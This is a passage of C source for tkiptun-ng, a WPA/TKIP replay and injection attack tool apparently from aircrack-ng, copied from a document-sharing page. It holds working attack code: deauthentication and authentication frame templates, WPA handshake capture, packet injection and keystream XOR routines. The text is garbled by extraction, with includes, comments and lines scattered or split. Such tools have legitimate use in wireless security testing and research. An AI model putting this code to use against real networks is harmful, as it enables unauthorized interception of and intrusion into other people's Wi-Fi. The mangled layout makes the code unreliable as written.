Sunteți pe pagina 1din 77

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

802.11 WPA replay & injection attacks Copyright (C) 2008, 2009 Martin Beck WEP decryption attack (chopchop) developed by KoreK This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA In addition, as a special exception, the copyright holders give permission to link the code of portions of this program with the OpenSSL library under certain conditions as described in each individual source file, and distribute linked combinations including the two. You must obey the GNU General Public License in all respects for all of the code used other than OpenSSL. * If you modify file(s) with this exception, you may extend this exception to your version of the file(s), but you are not obligated to do so. * If you do not wish to do so, delete this exception statement from your version. * If you delete this exception statement from all source files in the program, then also delete it here.

#if defined(linux) #include <linux/rtc.h> #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include <sys/types.h> <sys/socket.h> <sys/ioctl.h> <sys/wait.h> <sys/time.h> <netinet/in.h> <arpa/inet.h> <unistd.h> <dirent.h> <signal.h> <string.h> <stdlib.h> <stdio.h> <errno.h> <time.h> <getopt.h>

#include <fcntl.h> #include <ctype.h>

#include <limits.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include #include #include #include "version.h" "pcap.h" "osdep/osdep.h" "crypto.h"

#define ARPHRD_IEEE80211 801 #define ARPHRD_IEEE80211_PRISM 802 #define ARPHRD_IEEE80211_FULL 803 #ifndef ETH_P_80211_RAW #define ETH_P_80211_RAW 25 #endif #define RTC_RESOLUTION 8192 #define REQUESTS #define MAX_APS #define NEW_IV 1 #define RETRY 2 #define ABORT 3 #define DEAUTH_REQ \ "\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00" #define AUTH_REQ \ "\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00" #define ASSOC_REQ \ "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00" #define NULL_DATA \ "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B" #define RTS \ "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" #define RATES \ "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C" #define PROBE_REQ \ "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" #define PCT { struct tm *lt; time_t tc = time( NULL ); \ lt = localtime( &tc ); printf( "%02d:%02d:%02d ", \ lt->tm_hour, lt->tm_min, lt->tm_sec ); } #define RATE_NUM 12 30 20

#define #define #define #define #define #define #define #define #define #define #define #define

RATE_1M 1000000 RATE_2M 2000000 RATE_5_5M 5500000 RATE_11M 11000000 RATE_6M 6000000 RATE_9M 9000000 RATE_12M 12000000 RATE_18M 18000000 RATE_24M 24000000 RATE_36M 36000000 RATE_48M 48000000 RATE_54M 54000000

#define DEFAULT_MIC_FAILURE_INTERVAL 60 static uchar ZERO[32] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; int bitrates[RATE_NUM]={RATE_1M, RATE_2M, RATE_5_5M, RATE_6M, RATE_9M, RATE_11M, RATE_12M, RATE_18M, RATE_24M, RATE_36M, RATE_48M, RATE_54M}; extern char * getVersion(char * progname, int maj, int min, int submin, int svnr ev, int beta); extern char * searchInside(const char * dir, const char * filename); extern int maccmp(unsigned char *mac1, unsigned char *mac2); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac ); extern int check_crc_buf( unsigned char *buf, int len ); extern const unsigned long int crc_tbl[256]; extern const unsigned char crc_chop_tbl[256][4]; extern int hexStringToHex(char* in, int length, unsigned char* out); char usage[] = "\n" " %s - (C) 2008, 2009 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: tkiptun-ng <options> <replay interface>\n" "\n" " Filter options:\n" "\n" " -d dmac : MAC address, Destination\n" " -s smac : MAC address, Source\n" " -m len : minimum packet length (default: 80) \n" " -n len : maximum packet length (default: 80)\n" " -t tods : frame control, To DS bit\n" " -f fromds : frame control, From DS bit\n" " -D : disable AP detection\n" " -Z : select packets manually\n" "\n" " Replay options:\n" "\n" " -x nbpps : number of packets per second\n" " -a bssid : set Access Point MAC address\n"

" -c dmac : set Destination MAC address\n" " -h smac : set Source MAC address\n" " -e essid : set target AP SSID\n" " -M sec : MIC error timout in seconds [60]\n" "\n" " Debug options:\n" "\n" " -K prga : keystream for continuation\n" " -y file : keystream-file for continuation\n" " -j : inject FromDS packets\n" " -P pmk : pmk for verification/vuln testing\n" " -p psk : psk to calculate pmk with essid\n" "\n" " source options:\n" "\n" " -i iface : capture packets from this interface\n" " -r file : extract packets from this pcap file\n" "\n" " --help : Displays this usage screen\n" "\n"; struct WPA_hdsk { unsigned char stmac[6]; */ unsigned char snonce[32]; */ unsigned char anonce[32]; */ unsigned char keymic[16]; */ unsigned char eapol[256]; */ int eapol_size; */ int keyver; AES) */ int state; */ }; struct options { unsigned char f_bssid[6]; unsigned char f_dmac[6]; unsigned char f_smac[6]; int f_minlen; int f_maxlen; int f_minlen_set; int f_maxlen_set; int f_type; int f_subtype; int f_tods; int f_fromds; int f_iswep; FILE *f_ivs; int r_nbpps; int r_fctrl; /* output ivs file */

/* supplicant MAC /* supplicant nonce /* authenticator nonce /* eapol frame MIC /* eapol frame contents /* eapol frame size /* key version (TKIP / /* handshake completion

unsigned char r_bssid[6]; unsigned char r_dmac[6]; unsigned char r_smac[6]; unsigned char r_apmac[6]; unsigned char r_dip[4]; unsigned char r_sip[4]; char r_essid[33]; int r_fromdsinj; char r_smac_set; char ip_out[16]; char ip_in[16]; int port_out; int port_in; char *iface_out; char *s_face; char *s_file; uchar *prga; int a_mode; int a_count; int a_delay; int ringbuffer; int ghost; int prgalen; int delay; int npackets; int fast; int bittest; int nodetect; unsigned char oldkeystream[2048]; /* user-defined old keystream */ int oldkeystreamlen; /* user-defined old keystream length */ char wpa_essid[256]; /* essid used for calculating the pmk out of the psk */ char psk[128]; uchar pmk[128]; uchar ptk[80]; ndshake */ uchar ip_cli[4]; uchar ip_ap[4]; int got_ptk; int got_pmk; int got_psk; int got_mic_fromds; int got_mic_tods; int got_ip_ap; int got_ip_client; /* shared passphrase among the clients */ /* pmk derived from the essid and psk */ /* ptk calculated from all pieces captured in the ha //16 for 15 chars + \x00

struct WPA_hdsk wpa; /* valid WPA handshake data */ struct WPA_ST_info wpa_sta; /* used to calculate the pmk */ time_t wpa_time; /* time when the wpa handshake arrived */ unsigned char *chopped_from_plain; P */ /* chopped plaintext packet from the A

unsigned char *chopped_to_plain; */ unsigned char *chopped_from_prga; unsigned char *chopped_to_prga; int chopped_from_plain_len; int chopped_to_plain_len; int chopped_from_prga_len; int chopped_to_prga_len; struct timeval last_mic_failure; int mic_failure_interval; } opt; struct devices { int fd_in, arptype_in; int fd_out, arptype_out; int fd_rtc; unsigned char mac_in[6]; unsigned char mac_out[6]; int int int int int is_wlanng; is_hostap; is_madwifi; is_madwifing; is_bcm43xx;

/* chopped plaintext packet to the AP /* chopped keystream from the AP */ /* chopped keystream to the AP */

/* timestamp of last mic failure */ /* time between allowed mic failures */

FILE *f_cap_in; struct pcap_file_header pfh_in; } dev; static struct wif *_wi_in, *_wi_out; struct ARP_req { unsigned char *buf; int hdrlen; int len; }; struct APt { unsigned char set; unsigned char found; unsigned char len; unsigned char essid[255]; unsigned char bssid[6]; unsigned char chan; unsigned int ping[REQUESTS]; int pwr[REQUESTS]; }; struct APt ap[MAX_APS]; unsigned long nb_pkt_sent; unsigned char h80211[4096];

unsigned char tmpbuf[4096]; unsigned char srcbuf[4096]; char strbuf[512]; uchar ska_auth1[] 0\x00\x00" 0"; uchar ska_auth3[4096] = "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0 0\x00\x00" "\x00\x00\x00\x00\x00\x00\xc0\x01"; int ctrl_c, alarmed; char * iwpriv; unsigned char noQOS[4096]; // Este ser el buffer temporal para forjar paquetes Q oS si no est habilitado void sighandler( int signum ) { if( signum == SIGINT ) ctrl_c++; if( signum == SIGALRM ) alarmed++; } int reset_ifaces() { //close interfaces if(_wi_in != _wi_out) { if(_wi_in) { wi_close(_wi_in); _wi_in = NULL; } if(_wi_out) { wi_close(_wi_out); _wi_out = NULL; } } else { if(_wi_out) { wi_close(_wi_out); _wi_out = NULL; _wi_in = NULL; } } /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; = "\xb0\x00\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0 "\x00\x00\x00\x00\x00\x00\xb0\x01\x01\x00\x01\x00\x00\x0

dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } wi_get_mac(_wi_out, dev.mac_out); return 0; } int set_bitrate(struct wif *wi, int rate) { int i, newrate; if( wi_set_rate(wi, rate) ) return 1; // // d if (rate == 5500000 && wi_get_rate(wi) != 5500000) { if( wi_set_rate(wi, 5000000) ) return 1; } newrate = wi_get_rate(wi); for(i=0; i<RATE_NUM; i++) { if(bitrates[i] == rate) break; } if(i==RATE_NUM) i=-1; if( newrate != rate ) { if(i!=-1) { if( i>0 ) { if(bitrates[i-1] >= newrate) { printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n" if( reset_ifaces() ) return 1; //Workaround for buggy drivers (rt73) that do not accept 5.5M, but 5M instea

, (rate/1000000.0), (wi_get_rate(wi)/1000000.0)); return 1; } } if( i<RATE_NUM-1 ) { if(bitrates[i+1] <= newrate) { printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n" , (rate/1000000.0), (wi_get_rate(wi)/1000000.0)); return 1; } } return 0; } printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000 000.0), (wi_get_rate(wi)/1000000.0)); return 1; } return 0; } int check_received(unsigned char *packet, int length) { int z; uchar bssid[6], smac[6], dmac[6]; struct ivs2_pkthdr ivs2; z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if(length < z) return 0; /* Check if 802.11e (QoS) */ if( (packet[0] & 0x80) == 0x80) z+=2; switch( packet[1] & 3 ) { case 0: memcpy( bssid, packet + 16, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 10, 6 ); break; case 1: memcpy( bssid, packet + 4, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 10, 6 ); break; case 2: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 16, 6 ); break; default: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 24, 6 ); break; } if( memcmp(bssid, opt.f_bssid, 6) != 0 )

{ return(0); } else { if(memcmp(dmac, opt.wpa.stmac, 6) != 0 && memcmp(smac, opt.wpa.stmac, 6) != 0) return(0); } if( z + 26 > length ) return 0; if(!(packet[1] & 0x40)) //not encrypted { z += 6; //skip LLC header /* check ethertype == EAPOL */ if( packet[z] == 0x88 && packet[z + 1] == 0x8E && (packet[1] & 0x40) != 0x40 ) { if(opt.wpa.state != 7 || time(NULL) - opt.wpa_time > 1) { z += 2; //skip ethertype /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( packet[z + 6] & 0x08 ) != 0 && ( packet[z + 6] & 0x40 ) == 0 ( packet[z + 6] & 0x80 ) != 0 ( packet[z + 5] & 0x01 ) == 0 { memcpy( opt.wpa.anonce, &packet[z opt.wpa.state = 1; } && && ) + 17], 32 );

/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( z+17+32 > length ) return 0; if( ( packet[z + 6] & 0x08 ) != 0 && ( packet[z + 6] & 0x40 ) == 0 && ( packet[z + 6] & 0x80 ) == 0 && ( packet[z + 5] & 0x01 ) != 0 ) { if( memcmp( &packet[z + 17], ZERO, 32 ) != 0 ) { memcpy( opt.wpa.snonce, &packet[z + 17], 32 ); opt.wpa.state |= 2; } if( (opt.wpa.state & 4) != 4 ) { opt.wpa.eapol_size = ( packet[z + 2] << 8 ) + packet[z + 3] + 4;

memcpy( opt.wpa.keymic, &packet[z + 81], 16 ); memcpy( opt.wpa.eapol, &packet[z], opt.wpa.eapol_size ) ; memset( opt.wpa.eapol + 81, 0, 16 ); opt.wpa.state |= 4; opt.wpa.keyver = packet[z + 6] & 7; } } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( packet[z + 6] & 0x08 ) != 0 && ( packet[z + 6] & 0x40 ) != 0 && ( packet[z + 6] & 0x80 ) != 0 && ( packet[z + 5] & 0x01 ) != 0 ) { if( memcmp( &packet[z + 17], ZERO, 32 ) != 0 ) { memcpy( opt.wpa.anonce, &packet[z + 17], 32 ); opt.wpa.state |= 1; } if( (opt.wpa.state & 4) != 4 ) { opt.wpa.eapol_size = ( packet[z + 2] << 8 ) + packet[z + 3] + 4; memcpy( opt.wpa.keymic, &packet[z + 81], 16 ); memcpy( opt.wpa.eapol, &packet[z], opt.wpa.eapol_size ) ; memset( opt.wpa.eapol + 81, 0, 16 ); opt.wpa.state |= 4; opt.wpa.keyver = packet[z + 6] & 7; } } if( opt.wpa.state == 7) { memcpy( opt.wpa.stmac, opt.r_smac, 6 ); PCT; printf("WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X ca ptured\n", opt.r_bssid[0], opt.r_bssid[1], opt.r_bssid[2], opt.r_bssid[3], opt.r_bssid[4], opt.r_bssid[5]); opt.wpa_time = time(NULL); if( opt.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; ivs2.len= sizeof(struct WPA_hdsk); ivs2.flags |= IVS2_WPA; ivs2.flags |= IVS2_BSSID; ivs2.len += 6; if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), opt.f_ ivs )

!= (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( opt.r_bssid, 1, 6, opt.f_ivs ) != (size_ t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } ivs2.len -= 6; } if( fwrite( &(opt.wpa), 1, sizeof(struct WPA_hdsk), opt. f_ivs ) != (size_t) sizeof(struct WPA_hdsk) ) { perror( "fwrite(IV wpa_hdsk) failed" ); return( 1 ); } } } } } } return 0; } int send_packet(void *buf, size_t count) { struct wif *wi = _wi_out; /* XXX globals suck */ // unsigned char *pkt = (unsigned char*) buf; // // // // // if( (count > 24) && (pkt[1] & 0x04) == 0 && (pkt[22] & 0x0F) == 0) { pkt[22] += (nb_pkt_sent & 0x0000000F) << 4; pkt[23] += (nb_pkt_sent & 0x00000FF0) >> 4; } if (wi_write(wi, buf, count, NULL) == -1) { switch (errno) { case EAGAIN: case ENOBUFS: usleep(10000); return 0; /* XXX not sure I like this... -sorbo */ } perror("wi_write()"); return -1; } nb_pkt_sent++; return 0; } int read_packet(void *buf, size_t count, struct rx_info *ri)

{ struct wif *wi = _wi_in; /* XXX */ int rc; rc = wi_read(wi, buf, count, ri); if (rc == -1) { switch (errno) { case EAGAIN: return 0; } perror("wi_read()"); return -1; } return rc; } void read_sleep( int usec ) { struct timeval tv, tv2, tv3; int caplen; fd_set rfds; gettimeofday(&tv, NULL); gettimeofday(&tv2, NULL); tv3.tv_sec=0; tv3.tv_usec=10000; while( ((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec )) < (usec) ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv3 ) < 0 ) { continue; } if( FD_ISSET( dev.fd_in, &rfds ) ) { caplen = read_packet( h80211, sizeof( h80211 ), NULL ); check_received(h80211, caplen); } usleep(1000); gettimeofday(&tv2, NULL); } } int filter_packet( unsigned char *h80211, int caplen ) { int z, mi_b, mi_s, mi_d, ext=0, qos=0; if(caplen <= 0) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;

if ( ( h80211[0] & 0x80 ) == 0x80 ) { qos = 1; /* 802.11e QoS */ z+=2; } // if(!qos) return(1); if( (h80211[0] & 0x0C) == 0x08) //if data packet ext = z-24; //how many bytes longer than default ieee80211 header /* check length */ if( caplen-ext < opt.f_minlen || caplen-ext > opt.f_maxlen ) return( 1 ); /* check the frame control bytes */ // // if( ( h80211[0] & 0x80 ) != 0x80 ) return( 1 ); //no QoS packet if( ( h80211[0] & 0x0C ) != ( opt.f_type opt.f_type >= 0 ) return( 1 ); << 2 ) &&

if( ( h80211[0] & 0x70 ) != (( opt.f_subtype << 4 ) & 0x70) && //ignore the leading bit (QoS) opt.f_subtype >= 0 ) return( 1 ); if( ( h80211[1] & 0x01 ) != ( opt.f_tods opt.f_tods >= 0 ) return( 1 ); ) &&

if( ( h80211[1] & 0x02 ) != ( opt.f_fromds << 1 ) && opt.f_fromds >= 0 ) return( 1 ); if( ( h80211[1] & 0x40 ) != ( opt.f_iswep opt.f_iswep >= 0 ) return( 1 ); /* check the extended IV (TKIP) flag */ // // if( opt.f_type == 2 && opt.f_iswep == 1 && ( h80211[z + 3] & 0x20 ) != 0 ) return( 1 ); /* MAC address checking */ switch( h80211[1] { case 0: mi_b case 1: mi_b case 2: mi_b default: mi_b } & 3 ) = = = = 16; 4; 10; 10; mi_s mi_s mi_s mi_d = = = = 10; 10; 16; 16; mi_d mi_d mi_d mi_s = = = = 4; 16; 4; 24; break; break; break; break; << 6 ) &&

if( memcmp( opt.f_bssid, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_b, opt.f_bssid, 6 ) != 0 ) return( 1 ); if( memcmp( opt.f_bssid, opt.f_smac, 6) == 0) { if( memcmp( opt.f_smac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_s, opt.f_smac, 5 ) != 0 ) return( 1 );

} else { if( memcmp( opt.f_smac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_s, opt.f_smac, 6 ) != 0 ) return( 1 ); } if( memcmp( opt.f_bssid, opt.f_dmac, 6) == 0) { if( memcmp( opt.f_dmac, NULL_MAC, 6 ) != 0 if( memcmp( h80211 + mi_d, opt.f_dmac, return( 1 ); } else { if( memcmp( opt.f_dmac, NULL_MAC, 6 ) != 0 if( memcmp( h80211 + mi_d, opt.f_dmac, return( 1 ); } /* this one looks good */ return( 0 ); } int wait_for_beacon(uchar *bssid, uchar *capa, char *essid) { int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0; uchar pkt_sniff[4096]; struct timeval tv,tv2; char essid2[33]; gettimeofday(&tv, NULL); while (1) { len = 0; while (len < 22) { len = read_packet(pkt_sniff, sizeof(pkt_sniff), NULL); gettimeofday(&tv2, NULL); if(((tv2.tv_sec-tv.tv_sec)*1000000) + (tv2.tv_usec-tv.tv_usec) > 100 00*1000) //wait 10sec for beacon frame { return -1; } if(len <= 0) usleep(1000); } if (! memcmp(pkt_sniff, "\x80", 1)) { pos = 0; taglen = 22; //initial value to get the fixed tags parsing starte d taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = pkt_sniff[pos]; taglen = pkt_sniff[pos+1];

) 5 ) != 0 )

) 6 ) != 0 )

} while(tagtype != 3 && pos < len-2); if(tagtype != 3) continue; if(taglen != 1) continue; if(pos+2+taglen > len) continue; chan = pkt_sniff[pos+2]; if(essid) { pos = 0; taglen = 22; arted taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = pkt_sniff[pos]; taglen = pkt_sniff[pos+1]; } while(tagtype != 0 && pos < len-2); if(tagtype != 0) continue; if(taglen <= 1) { if (memcmp(bssid, pkt_sniff+10, 6) == 0) break; else continue; } if(pos+2+taglen > len) continue; if(taglen > 32)taglen = 32; if((pkt_sniff+pos+2)[0] < 32 && memcmp(bssid, pkt_sniff+10, 6) = = 0) { break; } /* if bssid is given, copy essid */ if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strle n(essid) == 0) { memset(essid, 0, 33); memcpy(essid, pkt_sniff+pos+2, taglen); break; } /* if essid is given, copy bssid AND essid, so we can handle cas e insensitive arguments */ if(bssid != NULL && memcmp(bssid, NULL_MAC, 6) == 0 && strncasec mp(essid, (char*)pkt_sniff+pos+2, taglen) == 0 && strlen(essid) == (unsigned)tag len) { memset(essid, 0, 33); memcpy(essid, pkt_sniff+pos+2, taglen); memcpy(bssid, pkt_sniff+10, 6); printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to giv en ESSID \"%s\".\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], essid); break; }

//initial value to get the fixed tags parsing st

/* if essid and bssid are given, check both */ if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strle n(essid) > 0) { memset(essid2, 0, 33); memcpy(essid2, pkt_sniff+pos+2, taglen); if(strncasecmp(essid, essid2, taglen) == 0 && strlen(essid) == (unsigned)taglen) break; else { printf("For the given BSSID \"%02X:%02X:%02X:%02X:%02X:% 02X\", there is an ESSID mismatch!\n", bssid[0], bssid[1], bssid[2], bssid[3], b ssid[4], bssid[5]); printf("Found ESSID \"%s\" vs. specified ESSID \"%s\"\n" , essid2, essid); printf("Using the given one, double check it to be sure its correct!\n"); break; } } } } } if(capa) memcpy(capa, pkt_sniff+34, 2); return chan; } /* if bssid != NULL its looking for a beacon frame */ int attack_check(uchar* bssid, char* essid, uchar* capa, struct wif *wi) { int ap_chan=0, iface_chan=0; iface_chan = wi_get_channel(wi); if(bssid != NULL) { ap_chan = wait_for_beacon(bssid, capa, essid); if(ap_chan < 0) { PCT; printf("No such BSSID available.\n"); return -1; } if(ap_chan != iface_chan) { PCT; printf("%s is on channel %d, but the AP uses channel %d\n", wi_ get_ifname(wi), iface_chan, ap_chan); return -1; } } return 0; } int getnet( uchar* capa, int filter, int force)

{ unsigned char *bssid; if(opt.nodetect) return 0; if(filter) bssid = opt.f_bssid; else bssid = opt.r_bssid; if( memcmp(bssid, NULL_MAC, 6) ) { PCT; printf("Waiting for beacon frame (BSSID: %02X:%02X:%02X:%02X:%02X:% 02X) on channel %d\n", bssid[0],bssid[1],bssid[2],bssid[3],bssid[4],bssid[5],wi_get _channel(_wi_in)); } else if(strlen(opt.r_essid) > 0) { PCT; printf("Waiting for beacon frame (ESSID: %s) on channel %d\n", opt. r_essid,wi_get_channel(_wi_in)); } else if(force) { PCT; if(filter) { printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n"); } else { printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n"); } return( 1 ); } else return 0; if( attack_check(bssid, opt.r_essid, capa, _wi_in) != 0) { if(memcmp(bssid, NULL_MAC, 6)) { if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32) { printf( "Please specify an ESSID (-e).\n" ); } } if(!memcmp(bssid, NULL_MAC, 6)) { if(strlen(opt.r_essid) > 0) { printf( "Please specify a BSSID (-a).\n" ); } } return( 1 ); }

return 0; } int xor_keystream(uchar *ph80211, uchar *keystream, int len) { int i=0; for (i=0; i<len; i++) { ph80211[i] = ph80211[i] ^ keystream[i]; } return 0; } int capture_ask_packet( int *caplen, int just_grab ) { time_t tr; struct timeval tv; struct tm *lt; fd_set rfds; long nb_pkt_read; int i, j, n, mi_b=0, mi_s=0, mi_d=0, mi_t=0, mi_r=0, is_wds=0, key_index_off set; int ret, z; FILE *f_cap_out; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; if( if( if( if( if( opt.f_minlen opt.f_maxlen opt.f_type opt.f_subtype opt.f_iswep < < < < < 0 0 0 0 0 ) ) ) ) ) opt.f_minlen opt.f_maxlen opt.f_type opt.f_subtype opt.f_iswep = 40; = 1500; = 2; = 0; = 1;

tr = time( NULL ); nb_pkt_read = 0; signal( SIGINT, SIG_DFL ); while( 1 ) { if( time( NULL ) - tr > 0 ) { tr = time( NULL ); printf( "\rRead %ld packets...\r", nb_pkt_read ); fflush( stdout ); } if( opt.s_file == NULL ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 1; tv.tv_usec = 0; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 )

{ if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) continue; gettimeofday( &tv, NULL ); *caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( *caplen < 0 ) return( 1 ); if( *caplen == 0 ) continue; } else { /* there are no hidden backdoors in this source code */ n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32( pkh.caplen ); tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = *caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); return( 1 ); } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen );

*caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } } nb_pkt_read++; if( filter_packet( h80211, *caplen ) != 0 ) continue; if(opt.fast) break; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] { case 0: mi_b case 1: mi_b case 2: mi_b case 3: mi_t ak; // WDS packet } & 3 ) = = = = 16; 4; 10; 10; mi_s mi_s mi_s mi_r = = = = 10; 10; 16; 4; mi_d mi_d mi_d mi_d = = = = 4; 16; 4; 16; is_wds is_wds is_wds mi_s = = 0; break; = 0; break; = 0; break; 24; is_wds = 1; bre

printf( "\n\n Size: %d, FromDS: %d, ToDS: %d", *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) ); if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) { // if (is_wds) key_index_offset = 33; // WDS packets have an additio nal MAC, so the key index is at byte 33 // else key_index_offset = 27; key_index_offset = z+3; if( ( h80211[key_index_offset] & 0x20 ) == 0 ) printf( " (WEP)" ); else printf( " (WPA)" ); } printf( "\n\n" ); if (is_wds) { printf( " Transmitter = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_t ], h80211[mi_t + 1], h80211[mi_t + 2], h80211[mi_t + 3], h80211[mi_t + 4], h80211[mi_t + 5] ); printf( " h80211[mi_r h80211[mi_r h80211[mi_r } else { printf( " h80211[mi_b h80211[mi_b h80211[mi_b } Receiver = %02X:%02X:%02X:%02X:%02X:%02X\n", ], h80211[mi_r + 1], + 2], h80211[mi_r + 3], + 4], h80211[mi_r + 5] ); BSSID = %02X:%02X:%02X:%02X:%02X:%02X\n", ], h80211[mi_b + 1], + 2], h80211[mi_b + 3], + 4], h80211[mi_b + 5] );

